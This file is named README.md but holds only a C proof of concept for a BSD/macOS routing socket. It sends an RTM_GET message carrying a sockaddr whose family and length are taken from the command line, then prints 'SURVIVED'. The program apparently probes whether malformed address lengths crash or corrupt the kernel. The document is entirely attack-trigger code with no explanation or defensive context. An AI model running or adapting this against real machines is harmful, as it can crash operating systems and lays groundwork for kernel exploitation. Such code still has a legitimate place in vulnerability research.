README.md
Rendering markdown...
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define RTM_VERSION 5
#define RTM_GET 4
struct rt_metrics {
uint32_t rmx_locks, rmx_mtu, rmx_hopcount;
int32_t rmx_expire;
uint32_t rmx_recvpipe, rmx_sendpipe, rmx_ssthresh;
uint32_t rmx_rtt, rmx_rttvar, rmx_pksent, rmx_state;
uint32_t rmx_filler[3];
};
struct rt_msghdr {
unsigned short rtm_msglen; unsigned char rtm_version; unsigned char rtm_type;
unsigned short rtm_index; int rtm_flags; int rtm_addrs;
int rtm_pid; int rtm_seq; int rtm_errno;
int rtm_use; unsigned int rtm_inits; struct rt_metrics rtm_rmx;
};
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
if (argc < 3) { printf("Usage: %s <family> <sa_len>\n", argv[0]); return 1; }
int fam = atoi(argv[1]);
int gm_len = atoi(argv[2]);
printf("family=%d sa_len=%d\n", fam, gm_len);
int fd = socket(PF_ROUTE, SOCK_RAW, 0);
char buf[512]; memset(buf, 0, sizeof(buf));
struct rt_msghdr *rtm = (struct rt_msghdr *)buf;
rtm->rtm_type = RTM_GET; rtm->rtm_version = RTM_VERSION;
rtm->rtm_seq = 1; rtm->rtm_addrs = 0x09;
int off = sizeof(*rtm);
struct sockaddr_in *dst = (struct sockaddr_in *)(buf + off);
dst->sin_family = AF_INET; dst->sin_len = sizeof(*dst);
dst->sin_addr.s_addr = inet_addr("8.8.8.8");
off += sizeof(*dst);
buf[off] = gm_len; buf[off+1] = fam;
int padded = (gm_len + 3) & ~3;
if (padded < 4) padded = 4;
off += padded;
rtm->rtm_msglen = off;
ssize_t s = write(fd, buf, rtm->rtm_msglen);
printf("write=%zd e=%d\n", s, s<0?errno:0);
if (s > 0) {
ssize_t r = read(fd, buf, sizeof(buf));
printf("read=%zd err=%d addrs=0x%x\n", r,
r>0?((struct rt_msghdr*)buf)->rtm_errno:-1,
r>0?((struct rt_msghdr*)buf)->rtm_addrs:0);
}
close(fd);
printf("SURVIVED\n");
return 0;
}